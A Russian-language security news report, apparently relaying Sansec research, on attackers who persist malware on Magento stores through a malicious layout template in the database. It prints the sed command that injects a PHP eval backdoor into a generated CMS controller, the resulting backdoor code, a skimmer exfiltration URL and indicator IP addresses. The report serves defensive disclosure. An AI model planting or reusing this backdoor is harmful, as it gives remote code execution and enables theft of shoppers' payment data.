Злоумышленники используют новый метод сохранения вредоносного ПО на серверах Magento. Компания Sansec обнаружила в базе данных хитроумно созданный шаблон макета, который использовался для автоматического внедрения вредоносного ПО.
Злоумышленники объединяют парсер макетов Magento с пакетом beberlei/assert (установленным по умолчанию) для выполнения системных команд. Поскольку блок макета привязан к корзине, эта команда выполняется при каждом запросе <store>/checkout/cart. В данном случае это команда sed, которая добавляет бэкдор в (автоматически сгенерированный) контроллер CMS. Умно, потому что вредоносная программа будет заново внедрена после ручного исправления или запуска bin/magento setup:di:compile:
1 2 3 | sed -i "s/___init();/___init();\\\n if ( isset ( $_POST [ \"7faa27b473\" ]) ) {\\\n $catalogQuery =\"bas\" . \"e64_de\". \"код\" ;\\\n @ eval ( $catalogQuery ( strrev ( $_POST [\"7faa27b473\"] ) ));\\\n exit ( 0 ) ;\\\n }/g" \ ../generated/code/Magento/Cms/Controller/Index/Index/Interceptor.php |
И это приводит к бэкдору для удаленного выполнения кода, который можно использовать, разместив команду по адресу
1 2 3 4 5 6 7 8 9 10 | public function __construct(\Magento\Framework\App\Action\Context $context, \Magento\Framework\Controller\Result\ForwardFactory $resultForwardFactory, ?\Magento\Framework\App\Config\ScopeConfig { $this->___init(); if ( isset ( $_POST [ "7faa27b473" ]) ) { $catalogQuery ="bas" . "e64_de". "code" ; @ eval ( $catalogQuery ( strrev ( $_POST ["7faa27b473"] ) )); exit ( 0 ) ; } parent::__construct($context, $resultForwardFactory, $scopeConfig, $page); } |
Злоумышленник использовал этот механизм для внедрения поддельного скиммера платежей Stripe, который копировал платежные данные на https://halfpriceboxesusa.com/pub/health_check.php (очевидно, в другой взломанный магазин Magento).
Indicators of Compromise
IPv4
- 216.73.163.170
- 216.73.163.182
- 45.146.54.58
- 45.146.54.59
- 45.146.54.61
- 45.146.54.67